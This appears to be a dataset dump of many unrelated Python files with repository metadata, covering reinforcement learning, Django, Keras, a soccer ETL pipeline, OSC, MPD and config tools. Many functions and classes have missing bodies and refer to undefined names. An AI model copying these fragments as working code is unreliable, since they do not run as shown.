camera_mutex = QMutex()
num_i = 0
if __name__ == '__main__':
app = QApplication(sys.argv)
myWin = MyWindow()
myWin.show()
sys.exit(app.exec_())
| 34.33617 | 137 | 0.587433 |
afaa3f5a9633f887b543c143ac5957ba0b5db6a8 | 145 | py | Python | pythontraining/unittesting.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | pythontraining/unittesting.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | pythontraining/unittesting.py | srikanteswartalluri/pyutils | bf8d56ac9e9b0786861c08ef32eae49b021f20a3 | [
"0BSD"
] | null | null | null | __author__ = 'talluri'
| 13.181818 | 22 | 0.496552 |
afaaa12bee233defec8a78a507b98355a9769f87 | 11,423 | py | Python | actorcritic/envs/atari/model.py | jrobine/actor-critic | 2f72d296c0b550982b0400b6afb7a7a0dfe3f144 | [
"MIT"
] | 10 | 2018-07-31T21:04:02.000Z | 2022-02-03T18:58:45.000Z | actorcritic/envs/atari/model.py | jrobine/actor-critic | 2f72d296c0b550982b0400b6afb7a7a0dfe3f144 | [
"MIT"
] | null | null | null | actorcritic/envs/atari/model.py | jrobine/actor-critic | 2f72d296c0b550982b0400b6afb7a7a0dfe3f144 | [
"MIT"
] | 1 | 2018-08-01T18:09:35.000Z | 2018-08-01T18:09:35.000Z | """An implementation of an actor-critic model that is aimed at Atari games."""
import gym
import numpy as np
import tensorflow as tf
import actorcritic.nn as nn
from actorcritic.baselines import StateValueFunction
from actorcritic.model import ActorCriticModel
from actorcritic.policies import SoftmaxPolicy
| 46.246964 | 119 | 0.660597 |
afaf5d11e5a28c1db05bcfd2d0127aa64f8b14b1 | 18,044 | py | Python | marcotti/etl/base/transform.py | soccermetrics/marcotti | eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd | [
"MIT"
] | 30 | 2015-11-23T07:51:54.000Z | 2020-06-29T16:11:55.000Z | marcotti/etl/base/transform.py | soccermetrics/marcotti | eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd | [
"MIT"
] | 1 | 2016-06-26T18:44:47.000Z | 2016-06-29T03:02:40.000Z | marcotti/etl/base/transform.py | soccermetrics/marcotti | eda2f19bd6cbc6f9c7482e8fe31b2233b33aacfd | [
"MIT"
] | 8 | 2016-01-13T12:23:16.000Z | 2021-10-11T07:39:33.000Z | import pandas as pd
import marcotti.models.club as mc
import marcotti.models.common.enums as enums
import marcotti.models.common.overview as mco
import marcotti.models.common.personnel as mcp
import marcotti.models.common.suppliers as mcs
from .workflows import WorkflowBase
class MarcottiStatsTransform(MarcottiTransform):
categories = ['assists', 'clearances', 'corner_crosses', 'corners', 'crosses', 'defensives',
'discipline', 'duels', 'foul_wins', 'freekicks', 'gk_actions', 'gk_allowed_goals',
'gk_allowed_shots', 'gk_saves', 'goal_bodyparts', 'goal_locations', 'goal_totals',
'goalline_clearances', 'important_plays', 'pass_directions', 'pass_lengths',
'pass_locations', 'pass_totals', 'penalty_actions', 'shot_blocks', 'shot_bodyparts',
'shot_locations', 'shot_plays', 'shot_totals', 'tackles', 'throwins', 'touch_locations',
'touches']
def add_stats_fn(category):
setattr(MarcottiStatsTransform, category, fn)
fn.__name__ = category
fn.__doc__ = "Data transformation for {} method".format(category)
| 54.349398 | 121 | 0.627854 |
afb151ddaf6fe45b7776879d93b6a4036ec2ff77 | 2,863 | py | Python | flow54/fuel_injector.py | corygoates/Flow54 | d24fe113afb932df6a910b560c6d491693b87592 | [
"MIT"
] | null | null | null | flow54/fuel_injector.py | corygoates/Flow54 | d24fe113afb932df6a910b560c6d491693b87592 | [
"MIT"
] | null | null | null | flow54/fuel_injector.py | corygoates/Flow54 | d24fe113afb932df6a910b560c6d491693b87592 | [
"MIT"
] | null | null | null | import copy
import numpy as np
from compressible_tools import * | 24.895652 | 176 | 0.550472 |
afb26810722dea2343152102b81238f0ece5d0c5 | 1,976 | py | Python | owoencode.py | glitchfur/owoencoder | ed81a03ba4bd504ca2de4da80fa618b12363b9db | [
"MIT"
] | 4 | 2020-08-10T06:01:35.000Z | 2021-08-30T02:26:29.000Z | owoencode.py | glitchfur/owoencoder | ed81a03ba4bd504ca2de4da80fa618b12363b9db | [
"MIT"
] | null | null | null | owoencode.py | glitchfur/owoencoder | ed81a03ba4bd504ca2de4da80fa618b12363b9db | [
"MIT"
] | 1 | 2021-06-02T09:16:43.000Z | 2021-06-02T09:16:43.000Z | #!/usr/bin/env python3
# owoencode.py, a part of owoencoder
# Made by Glitch, 2020
# https://www.glitchfur.net
from sys import argv, stdout, stderr
from os.path import exists, split
from os import remove
KEEP_ORIG = False
STDOUT_FLAG = False
if __name__ == "__main__":
main()
| 30.875 | 77 | 0.577935 |
afb31209b87b0007cddea5b09c524bff1b45d36d | 2,589 | py | Python | generators/query_gen.py | Abhipanda4/RQs_in_Regex_Graphs | 80b86b5b3f92ef28102ac0f5049bb495b5cc07f9 | [
"Apache-2.0"
] | 2 | 2018-10-09T09:59:45.000Z | 2021-11-21T17:01:47.000Z | generators/query_gen.py | Abhipanda4/RQs_in_Regex_Graphs | 80b86b5b3f92ef28102ac0f5049bb495b5cc07f9 | [
"Apache-2.0"
] | null | null | null | generators/query_gen.py | Abhipanda4/RQs_in_Regex_Graphs | 80b86b5b3f92ef28102ac0f5049bb495b5cc07f9 | [
"Apache-2.0"
] | null | null | null | # Fix number of node predicates at 1 out of 6
# this ensures queries with larger space of possible nodes
# The number of colors in a query is varied from 1 to 5
import argparse
import numpy as np
from graph_gen import birth_years, genders, num_posts, num_friends
possibilities = [1, 3, 4, 5]
# do not consider equaliy as it will narrow down
# extreme node sets too much
op1 = ["<=", "<", ">", ">="]
op2 = ["==", "!="]
if __name__ == "__main__":
main()
| 27.83871 | 83 | 0.565469 |
afb50c8aa67608ab3deea105ffee6debac103ea3 | 195 | py | Python | multiplepagesproject/prodforms.py | mandeep-django/admin-panel | 30c65730e74004ec21cf891627fbbaa027f626db | [
"MIT"
] | null | null | null | multiplepagesproject/prodforms.py | mandeep-django/admin-panel | 30c65730e74004ec21cf891627fbbaa027f626db | [
"MIT"
] | null | null | null | multiplepagesproject/prodforms.py | mandeep-django/admin-panel | 30c65730e74004ec21cf891627fbbaa027f626db | [
"MIT"
] | null | null | null | from django import forms
from multiplepagesproject.prodmodels import proddisplay
| 27.857143 | 56 | 0.723077 |
afb5ce60435e8b3c83936754903becf1fcb4fbdf | 1,292 | py | Python | communication/templatetags/discussion.py | stewardshiptools/stewardshiptools | ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e | [
"MIT"
] | null | null | null | communication/templatetags/discussion.py | stewardshiptools/stewardshiptools | ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e | [
"MIT"
] | 11 | 2020-03-24T15:29:46.000Z | 2022-03-11T23:14:48.000Z | communication/templatetags/discussion.py | stewardshiptools/stewardshiptools | ee5d27e7b0d5d4947f34ad02bdf63a06ad0a5c3e | [
"MIT"
] | null | null | null | import string
from django.template import Context
from django.template.loader import get_template
from django import template
register = template.Library()
import crm
# @register.filter
# def render_related_communication_items(related_object):
# '''
# Called by the CommunicationViewset
# to render data if html is requested.
# :param related_object:
# :return: rendered communication items list (<ul>)
# '''
# comms_objects = Communication.get_communications_related_to(related_object)
# context = Context({'data': comms_objects})
# t = get_template("communication/communication_items.html")
# return t.render(context)
| 28.711111 | 81 | 0.670279 |
afb6bce0846f3ad5fdbe2619d6c7b2dd5348269a | 3,504 | py | Python | fairseq/criterions/cross_entropy.py | emailandxu/KUST-Fairseq-ST | 95316cebc99d963c4aa671914ce219c5692f5fd6 | [
"BSD-3-Clause"
] | null | null | null | fairseq/criterions/cross_entropy.py | emailandxu/KUST-Fairseq-ST | 95316cebc99d963c4aa671914ce219c5692f5fd6 | [
"BSD-3-Clause"
] | null | null | null | fairseq/criterions/cross_entropy.py | emailandxu/KUST-Fairseq-ST | 95316cebc99d963c4aa671914ce219c5692f5fd6 | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2017-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the license found in the LICENSE file in
# the root directory of this source tree. An additional grant of patent rights
# can be found in the PATENTS file in the same directory.
import math
import torch
import torch.nn.functional as F
from fairseq import utils
from . import FairseqCriterion, register_criterion
| 37.276596 | 111 | 0.623002 |
afb90e0689a3fd6f900cf89c2141c1e4deace929 | 365 | py | Python | blog/models.py | adityabisoi/personal-portfolio | 34e9f9dc1b78b12bf27f934ae71efa0058450c0d | [
"MIT"
] | 1 | 2020-02-19T09:45:28.000Z | 2020-02-19T09:45:28.000Z | blog/models.py | adityabisoi/personal-portfolio | 34e9f9dc1b78b12bf27f934ae71efa0058450c0d | [
"MIT"
] | 6 | 2021-03-19T04:39:19.000Z | 2022-02-10T13:52:14.000Z | blog/models.py | adityabisoi/personal-portfolio | 34e9f9dc1b78b12bf27f934ae71efa0058450c0d | [
"MIT"
] | null | null | null | from django.db import models | 26.071429 | 50 | 0.679452 |
afbb87c6ab776c79d599ae4c17e47909e935b3eb | 3,845 | py | Python | Year-2/Computational-math/src/labs/lab_2/methods.py | zubrailx/University-ITMO | 9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61 | [
"MIT"
] | 3 | 2021-10-13T05:01:37.000Z | 2022-01-21T15:25:47.000Z | Year-2/Computational-math/src/labs/lab_2/methods.py | zubrailx/university | 9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61 | [
"MIT"
] | null | null | null | Year-2/Computational-math/src/labs/lab_2/methods.py | zubrailx/university | 9c746ab6cfa95ecd6ff02eb23e1f49c93337ec61 | [
"MIT"
] | null | null | null | from copy import copy
from modules.parse import parse
from modules.equation import grad, node_flatten
from modules.matrix import Matrix
from modules.util import ProjectException
from modules.util import Color, color_string
| 40.904255 | 115 | 0.640312 |
afbc104c7579cd278f56fcd197e11d8c1c44ade6 | 1,807 | py | Python | TerraformToAnsibleInventory/args.py | mrlesmithjr/python-terraform-to-ansible-inventory | 0ceb251c8fbdcf23d186f1a1d66684af1b28c86c | [
"MIT"
] | 5 | 2018-07-17T15:46:57.000Z | 2020-01-18T23:54:23.000Z | TerraformToAnsibleInventory/args.py | mrlesmithjr/python-terraform-to-ansible-inventory | 0ceb251c8fbdcf23d186f1a1d66684af1b28c86c | [
"MIT"
] | 11 | 2018-07-19T13:04:50.000Z | 2019-10-22T13:38:01.000Z | TerraformToAnsibleInventory/args.py | mrlesmithjr/python-terraform-to-ansible-inventory | 0ceb251c8fbdcf23d186f1a1d66684af1b28c86c | [
"MIT"
] | 4 | 2019-09-27T18:27:17.000Z | 2021-12-22T13:41:03.000Z | import argparse
from _version import __version__
def parse():
"""Parse command line arguments."""
PARSER = argparse.ArgumentParser()
PARSER.add_argument('-b', '--backend',
help='Define which Terraform backend to parse',
choices=['local', 'consul'], default='local')
PARSER.add_argument('-cH', '--consulHost',
help='Define Consul host when using Consul backend')
PARSER.add_argument('-cKV', '--consulKV',
help='Define Consul KV Pair to query. Ex. Azure/Test')
PARSER.add_argument('-cP', '--consulPort',
help='Define Consul host port', default='8500')
PARSER.add_argument('-cS', '--consulScheme',
help='Define Consul connection scheme.',
choices=['http', 'https'], default='http')
PARSER.add_argument('-i', '--inventory', help='Ansible inventory',
default='./terraform_inventory.yml')
PARSER.add_argument('--logLevel', help='Define logging level output',
choices=['CRITICAL', 'ERROR', 'WARNING',
'INFO', 'DEBUG'], default='INFO')
PARSER.add_argument('-t', '--tfstate', help='Terraform tftstate file',
default='./terraform.tfstate')
PARSER.add_argument('-v', '--version', action='version',
version='%(prog)s {version}'.format(version=__version__))
ARGS = PARSER.parse_args()
if ARGS.backend == 'consul' and ARGS.consulHost is None:
PARSER.error('Consul host is required when using Consul backend.')
if ARGS.backend == 'consul' and ARGS.consulKV is None:
PARSER.error('Consul KV pair is required when using Consul backend')
return ARGS
| 51.628571 | 81 | 0.58052 |
afbcc11a19deb6b6ae32cfc779f94a2a3949f37d | 549 | py | Python | wifi_radio/lockable_mpdclient.py | thomasvamos/wifi_radio | 54a04b37cfbada82074af439a7b0ee12cedf3512 | [
"MIT"
] | null | null | null | wifi_radio/lockable_mpdclient.py | thomasvamos/wifi_radio | 54a04b37cfbada82074af439a7b0ee12cedf3512 | [
"MIT"
] | null | null | null | wifi_radio/lockable_mpdclient.py | thomasvamos/wifi_radio | 54a04b37cfbada82074af439a7b0ee12cedf3512 | [
"MIT"
] | null | null | null | '''
Wrapper for a lockable MPD client
'''
from threading import Lock, Thread
from random import choice
from mpd import MPDClient | 26.142857 | 49 | 0.668488 |
afbcd4f337d7fb85d3b0e527567a1d3d85e5d0ed | 1,928 | py | Python | test.py | raveendezoysa/American-Sign-Language-to-Text-Based-Translator | 0e0d3bea9912c87c51f00728742dc67cd85b7e66 | [
"MIT"
] | null | null | null | test.py | raveendezoysa/American-Sign-Language-to-Text-Based-Translator | 0e0d3bea9912c87c51f00728742dc67cd85b7e66 | [
"MIT"
] | null | null | null | test.py | raveendezoysa/American-Sign-Language-to-Text-Based-Translator | 0e0d3bea9912c87c51f00728742dc67cd85b7e66 | [
"MIT"
] | null | null | null | # importing libraries
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D
from keras.layers import Activation, Dropout, Flatten, Dense
from keras import backend as K
img_width, img_height = 224, 224
train_data_dir = 'v_data/train'
validation_data_dir = 'v_data/test'
nb_train_samples = 400
nb_validation_samples = 100
epochs = 10
batch_size = 16
if K.image_data_format() == 'channels_first':
input_shape = (3, img_width, img_height)
else:
input_shape = (img_width, img_height, 3)
model = Sequential()
model.add(Conv2D(32, (2, 2), input_shape = input_shape))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size =(2, 2)))
model.add(Conv2D(32, (2, 2)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size =(2, 2)))
model.add(Conv2D(64, (2, 2)))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size =(2, 2)))
model.add(Flatten())
model.add(Dense(64))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(1))
model.add(Activation('sigmoid'))
model.compile(loss='binary_crossentropy',
optimizer='rmsprop',
metrics=['accuracy'])
train_datagen = ImageDataGenerator(
rescale=1. / 255,
shear_range=0.2,
zoom_range=0.2,
horizontal_flip=True)
test_datagen = ImageDataGenerator(rescale=1. / 255)
train_generator = train_datagen.flow_from_directory(train_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size, class_mode='binary')
validation_generator = test_datagen.flow_from_directory(
validation_data_dir,
target_size=(img_width, img_height),
batch_size=batch_size, class_mode ='binary')
model.fit_generator(train_generator,
steps_per_epoch=nb_train_samples // batch_size,
epochs=epochs, validation_data=validation_generator,
validation_steps=nb_validation_samples // batch_size)
model.save_weights('model_saved.h5')
| 27.542857 | 67 | 0.761411 |
afbdd176b769632287834f6d6008afe844162c2f | 245 | py | Python | other/simpleOSC/sendbundle.py | neonkingfr/VizBench | e41f559cb6e761d717f2f5b202482d5d8dacd2d8 | [
"MIT"
] | 7 | 2015-01-05T06:32:49.000Z | 2020-10-30T19:29:07.000Z | other/simpleOSC/sendbundle.py | neonkingfr/VizBench | e41f559cb6e761d717f2f5b202482d5d8dacd2d8 | [
"MIT"
] | null | null | null | other/simpleOSC/sendbundle.py | neonkingfr/VizBench | e41f559cb6e761d717f2f5b202482d5d8dacd2d8 | [
"MIT"
] | 4 | 2016-03-09T22:29:26.000Z | 2021-04-07T13:52:28.000Z | import osc
osc.init()
# create and send a bundle
bundle = osc.createBundle()
osc.appendToBundle(bundle, "/test/bndlprt1", [1, 2.2, "333"])
osc.appendToBundle(bundle, "/test/bndlprt2", [4, 5.5, 6])
osc.sendBundle(bundle, "127.0.0.1", 9999)
| 24.5 | 61 | 0.677551 |
afbe04768d0e6a472f75c12cbd235fcaf4b5e777 | 2,113 | py | Python | intersimple-expert-rollout-setobs2.py | sisl/InteractionImitation | 9c9ee8f21b53e71bbca86b0b79c6e6d913a20567 | [
"MIT"
] | 2 | 2022-03-13T19:43:08.000Z | 2022-03-14T03:19:33.000Z | intersimple-expert-rollout-setobs2.py | sisl/InteractionImitation | 9c9ee8f21b53e71bbca86b0b79c6e6d913a20567 | [
"MIT"
] | null | null | null | intersimple-expert-rollout-setobs2.py | sisl/InteractionImitation | 9c9ee8f21b53e71bbca86b0b79c6e6d913a20567 | [
"MIT"
] | null | null | null | import torch
import functools
from src.core.sampling import rollout_sb3
from intersim.envs import IntersimpleLidarFlatIncrementingAgent
from intersim.envs.intersimple import speed_reward
from intersim.expert import NormalizedIntersimpleExpert
from src.util.wrappers import CollisionPenaltyWrapper, Setobs
import numpy as np
from gym.wrappers import TransformObservation
obs_min = np.array([
[-1000, -1000, 0, -np.pi, -1e-1, 0.],
[0, -np.pi, -20, -20, -np.pi, -1e-1],
[0, -np.pi, -20, -20, -np.pi, -1e-1],
[0, -np.pi, -20, -20, -np.pi, -1e-1],
[0, -np.pi, -20, -20, -np.pi, -1e-1],
[0, -np.pi, -20, -20, -np.pi, -1e-1],
]).reshape(-1)
obs_max = np.array([
[1000, 1000, 20, np.pi, 1e-1, 0.],
[50, np.pi, 20, 20, np.pi, 1e-1],
[50, np.pi, 20, 20, np.pi, 1e-1],
[50, np.pi, 20, 20, np.pi, 1e-1],
[50, np.pi, 20, 20, np.pi, 1e-1],
[50, np.pi, 20, 20, np.pi, 1e-1],
]).reshape(-1)
if __name__=='__main__':
import fire
fire.Fire(loop) | 32.507692 | 88 | 0.630857 |
afbe9673b618fa0388c83b7abcd87db09f9c7dda | 2,840 | py | Python | FeatureTransformation/UserInputFeatureScalling.py | Himanshu14k/AdultIncomePrediction_Project | 522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc | [
"MIT"
] | 2 | 2021-09-06T08:31:46.000Z | 2021-10-30T12:53:21.000Z | FeatureTransformation/UserInputFeatureScalling.py | Himanshu14k/AdultIncomePrediction_Project | 522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc | [
"MIT"
] | 1 | 2021-09-07T13:53:26.000Z | 2021-09-07T13:53:26.000Z | FeatureTransformation/UserInputFeatureScalling.py | Himanshu14k/AdultIncomePrediction_Project | 522f170111c5e6e45ef1e26ef21f86f4ea3a8dcc | [
"MIT"
] | 2 | 2021-09-13T17:20:56.000Z | 2021-11-21T16:05:16.000Z | from joblib import load
from pandas import DataFrame
import pickle | 53.584906 | 171 | 0.633099 |
afbeec327d96ab2c12353a666a3a203a3a3bf18e | 4,073 | py | Python | pyShelly/debug.py | rfvermut/pyShelly | c2f27ef14d1eaf94c403858a898a919d0005d639 | [
"MIT"
] | 39 | 2019-03-19T11:09:26.000Z | 2022-03-19T12:44:47.000Z | pyShelly/debug.py | rfvermut/pyShelly | c2f27ef14d1eaf94c403858a898a919d0005d639 | [
"MIT"
] | 34 | 2019-05-21T18:41:18.000Z | 2022-03-27T07:30:49.000Z | pyShelly/debug.py | rfvermut/pyShelly | c2f27ef14d1eaf94c403858a898a919d0005d639 | [
"MIT"
] | 42 | 2019-03-28T15:18:59.000Z | 2021-12-27T19:16:44.000Z | import socket
import threading
import json
import sys
from io import StringIO
from .loop import Loop
from .const import (
LOGGER
)
# import socket
# import sys
# def main():
# host = ""
# port = 50000
# backlog = 5
# size = 1024
# sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# sock.bind((host, port))
# sock.listen(backlog)
# while True:
# client, address = sock.accept()
# test.log("Client connected.")
# while True:
# data = client.recv(size).rstrip()
# if not data:
# continue
# test.log("Received command: %s" % data)
# if data == "disconnect":
# test.log("Client disconnected.")
# client.send(data)
# client.close()
# break
# if data == "exit":
# test.log("Client asked server to quit")
# client.send(data)
# client.close()
# return
# test.log("Executing command: %s" % data)
# try:
# exec(data)
# except Exception, err:
# test.log("Error occured while executing command: %s" % (
# data), str(err)) | 30.62406 | 94 | 0.499386 |
afc0461dd64d75f8650665858aa646a390a84868 | 972 | py | Python | setup.py | AGOberprieler/allcopol | 7fd3d8ad7c9ff8410155691d8a37fdbea7783c81 | [
"MIT"
] | 1 | 2020-10-19T08:22:50.000Z | 2020-10-19T08:22:50.000Z | setup.py | AGOberprieler/allcopol | 7fd3d8ad7c9ff8410155691d8a37fdbea7783c81 | [
"MIT"
] | null | null | null | setup.py | AGOberprieler/allcopol | 7fd3d8ad7c9ff8410155691d8a37fdbea7783c81 | [
"MIT"
] | null | null | null | from setuptools import setup, find_packages
with open("README.md", "r") as f:
long_description = f.read()
setup(name = "allcopol",
version = "0.1.1",
description = "AllCoPol: Inferring allele co-ancestry in polyploids",
long_description = long_description,
long_description_content_type = "text/markdown",
url = "https://github.com/AGOberprieler/allcopol",
author = "Ulrich Lautenschlager",
author_email = "ulrich.lautenschlager@ur.de",
license = "MIT",
packages = find_packages(),
install_requires = [
"argparse", "biopython", "configargparse", "numpy", "scipy"
],
entry_points = {
"console_scripts": [
"allcopol=allcopol.allcopol:main",
"align_clusters=allcopol.align_clusters:main",
"create_indfile=allcopol.create_indfile:main",
"relabel_trees=allcopol.relabel_trees:main",
],
},
zip_safe = False,
python_requires = ">=3.5",
)
| 30.375 | 73 | 0.644033 |
afc04d85e4ad399b752a6a1b506501312782c229 | 2,686 | py | Python | genalg/sample.py | davidkant/thresholds-ga | 78988bb1bfa1c1eb32afc24edf59e5fde2f1c212 | [
"Apache-2.0"
] | null | null | null | genalg/sample.py | davidkant/thresholds-ga | 78988bb1bfa1c1eb32afc24edf59e5fde2f1c212 | [
"Apache-2.0"
] | 9 | 2018-05-06T18:55:29.000Z | 2018-05-06T19:13:33.000Z | genalg/sample.py | davidkant/thresholds-ga | 78988bb1bfa1c1eb32afc24edf59e5fde2f1c212 | [
"Apache-2.0"
] | null | null | null | import spec
import sonicfeatures
import display
import random
import os
| 40.089552 | 120 | 0.624348 |
afc156258025b1022c60a512cb7371bc599d1647 | 1,709 | py | Python | 11/VMWriter.py | aadityarautela/nand2tetris | 64768087ae5f6903beeb17a01492d68d7b2354f6 | [
"MIT"
] | null | null | null | 11/VMWriter.py | aadityarautela/nand2tetris | 64768087ae5f6903beeb17a01492d68d7b2354f6 | [
"MIT"
] | null | null | null | 11/VMWriter.py | aadityarautela/nand2tetris | 64768087ae5f6903beeb17a01492d68d7b2354f6 | [
"MIT"
] | null | null | null | import os
| 25.132353 | 74 | 0.576946 |
afc24baeb3d33abb5be32b2647fa2afb09362e83 | 1,945 | py | Python | youtube_rss_subscriber/config.py | miquelruiz/youtube-rss-subscriber | 0dbdb011faf910be7dfd4757cd7295b898d4297c | [
"WTFPL"
] | 3 | 2021-03-21T07:43:12.000Z | 2021-07-23T11:07:55.000Z | youtube_rss_subscriber/config.py | miquelruiz/youtube-rss-subscriber | 0dbdb011faf910be7dfd4757cd7295b898d4297c | [
"WTFPL"
] | null | null | null | youtube_rss_subscriber/config.py | miquelruiz/youtube-rss-subscriber | 0dbdb011faf910be7dfd4757cd7295b898d4297c | [
"WTFPL"
] | 2 | 2021-04-11T13:26:29.000Z | 2021-07-25T18:03:34.000Z | from typing import Any, Dict, List, Optional, cast
from pathlib import Path
import yaml
CONFIG_FILE_NAME = "config.yml"
CONFIG_DIRS = (
Path.home() / Path(".yrs"),
Path("/etc/youtube-rss-subscriber"),
)
| 28.602941 | 79 | 0.568123 |
afc59e6ec8b3a8d303a471a47f51dc9d406f4096 | 222 | py | Python | rastervision/analyzer/__init__.py | carderne/raster-vision | 915fbcd3263d8f2193e65c2cd0eb53e050a47a01 | [
"Apache-2.0"
] | 4 | 2019-03-11T12:38:15.000Z | 2021-04-06T14:57:52.000Z | rastervision/analyzer/__init__.py | carderne/raster-vision | 915fbcd3263d8f2193e65c2cd0eb53e050a47a01 | [
"Apache-2.0"
] | null | null | null | rastervision/analyzer/__init__.py | carderne/raster-vision | 915fbcd3263d8f2193e65c2cd0eb53e050a47a01 | [
"Apache-2.0"
] | 1 | 2021-02-25T18:23:27.000Z | 2021-02-25T18:23:27.000Z | # flake8: noqa
from rastervision.analyzer.analyzer import *
from rastervision.analyzer.analyzer_config import *
from rastervision.analyzer.stats_analyzer import *
from rastervision.analyzer.stats_analyzer_config import *
| 31.714286 | 57 | 0.846847 |
afc811788a0b3ab1c60a2765e44c7a8fefe57ab0 | 2,010 | py | Python | Chest X-Ray Analysis/model.py | HarshShah03325/Emotion_Recognition | d1760bbdedc55014896f0e1c7db47ee5e5a19dae | [
"MIT"
] | 20 | 2021-11-08T05:43:31.000Z | 2021-11-09T15:39:03.000Z | Chest X-Ray Analysis/model.py | HarshShah03325/Emotion_Recognition | d1760bbdedc55014896f0e1c7db47ee5e5a19dae | [
"MIT"
] | null | null | null | Chest X-Ray Analysis/model.py | HarshShah03325/Emotion_Recognition | d1760bbdedc55014896f0e1c7db47ee5e5a19dae | [
"MIT"
] | 1 | 2021-10-31T02:53:05.000Z | 2021-10-31T02:53:05.000Z | from tensorflow.keras.applications.densenet import DenseNet121
from tensorflow.keras.layers import Dense, GlobalAveragePooling2D
from tensorflow.keras.models import Model
from keras import backend as K
from settings import Settings
import numpy as np
from helper import get_train_labels, compute_class_freqs
from tensorflow.python.framework.ops import disable_eager_execution
disable_eager_execution()
settings = Settings()
def get_weighted_loss(pos_weights, neg_weights, epsilon=1e-7):
"""
Custom loss function that calculates loss based on positive and negative weights.
Weights are inversely proportional to frequencies.
returns:
weighted loss.
"""
return weighted_loss
def denseNet():
"""
Builds and compiles the keras DenseNet model.
returns:
Untrained DenseNet model.
"""
base_model = DenseNet121(weights='./densenet.hdf5', include_top=False)
x = base_model.output
# add a global spatial average pooling layer
x = GlobalAveragePooling2D()(x)
# and a logistic layer
predictions = Dense(len(settings.labels), activation="sigmoid")(x)
pos_weights, neg_weights = compute_class_freqs(get_train_labels())
model = Model(inputs=base_model.input, outputs=predictions)
model.compile(optimizer='adam', loss=get_weighted_loss(pos_weights, neg_weights), experimental_run_tf_function=False)
return model
def load_model():
"""
Builds keras DenseNet model and loads pretrained weights into the model.
returns:
Trained DenseNet model.
"""
model = denseNet()
model.load_weights("./pretrained_model.h5")
return model
| 30 | 201 | 0.698507 |
afcab14f17dffbf6475626aeb921c67d6e9af7bc | 4,494 | py | Python | Assets/ExpressiveRangeAnalyses/example_generator.py | rafaeldolfe/Mixed-initiative-Tile-based-Designer | 9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01 | [
"MIT"
] | null | null | null | Assets/ExpressiveRangeAnalyses/example_generator.py | rafaeldolfe/Mixed-initiative-Tile-based-Designer | 9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01 | [
"MIT"
] | null | null | null | Assets/ExpressiveRangeAnalyses/example_generator.py | rafaeldolfe/Mixed-initiative-Tile-based-Designer | 9001f0e1b68ec8c9fa49d876d2cc6ec1426d1d01 | [
"MIT"
] | null | null | null | import sys
import numpy as np
import math
import matplotlib.pyplot as plt
from numpy.lib.polynomial import poly
import pandas as pd
from matplotlib import cm
import matplotlib.patheffects as path_effects
import random
filename = f'example_generator_config.txt'
run_names = []
number_of_maps_to_randomly_sample = 0
with open(filename) as f:
name_of_everything = f.readline().rstrip('\n')
number_of_maps_to_randomly_sample = int(f.readline())
run_name = f.readline()
while run_name != "":
run_names.append(run_name.rstrip('\n'))
run_name = f.readline()
print(run_names)
number_of_runs = len(run_names)
runs = []
for i in range(len(run_names)):
run_name = run_names[i]
run_file_name = f'{run_name}/data.txt'
with open(run_file_name) as f:
display_name = f.readline()
ids = []
leniencies = []
linearities = []
id = f.readline()
while id != "":
ids.append(int(id))
leniency = f.readline().rstrip('\n').replace(',',".")
leniencies.append(float(leniency))
linearity = f.readline().rstrip('\n').replace(',',".")
linearities.append(float(linearity))
id = f.readline()
runs.append(Run(display_name, linearities, leniencies, ids))
normalized_id_lists = []
for run in runs:
normalized_id_lists.append(list(zip(run.ids, run.normalized_linearities, run.normalized_leniencies, run.linearities, run.leniencies)))
print_random_samples_of_maps(runs[0], number_of_maps_to_randomly_sample)
print("Enter normalized linearity")
normalized_linearity = float(input())
print("Enter normalized leniency")
normalized_leniency = float(input())
print("How weighted should linearity be?")
linearity_weight = float(input())
print("Which runs to get it from")
print("Run nmbr 1")
run_number_1 = int(input())
print("Run nmbr 2")
run_number_2 = int(input())
id_list1 = normalized_id_lists[run_number_1]
id_list2 = normalized_id_lists[run_number_2]
print(find_same_normalized_data_point(id_list1, id_list2, normalized_linearity, normalized_leniency, linearity_weight))
| 36.536585 | 198 | 0.715398 |
afcbed072ad157da39a96ed8b309d2b6f0eb45c5 | 781 | py | Python | tests/test_utils.py | cdyfng/pyetheroll | 84149f328a1dc6db47834d02ade50e21286f3409 | [
"MIT"
] | 1 | 2018-11-01T02:58:35.000Z | 2018-11-01T02:58:35.000Z | tests/test_utils.py | cdyfng/pyetheroll | 84149f328a1dc6db47834d02ade50e21286f3409 | [
"MIT"
] | 13 | 2019-03-13T13:21:42.000Z | 2020-05-27T21:55:40.000Z | tests/test_utils.py | cdyfng/pyetheroll | 84149f328a1dc6db47834d02ade50e21286f3409 | [
"MIT"
] | 2 | 2019-08-01T07:01:31.000Z | 2021-12-20T05:09:02.000Z | from datetime import datetime
from pyetheroll.utils import EtherollUtils, timestamp2datetime
| 28.925926 | 68 | 0.644046 |
afcd6032574bba34bea8e6fbfd6741b9fd4aa205 | 270 | py | Python | micropython/002_plot_test.py | mirontoli/tolle-rasp | 020638e86c167aedd7b556d8515a3adef70724af | [
"MIT"
] | 2 | 2021-06-29T17:18:09.000Z | 2022-01-25T08:29:59.000Z | micropython/002_plot_test.py | mirontoli/tolle-rasp | 020638e86c167aedd7b556d8515a3adef70724af | [
"MIT"
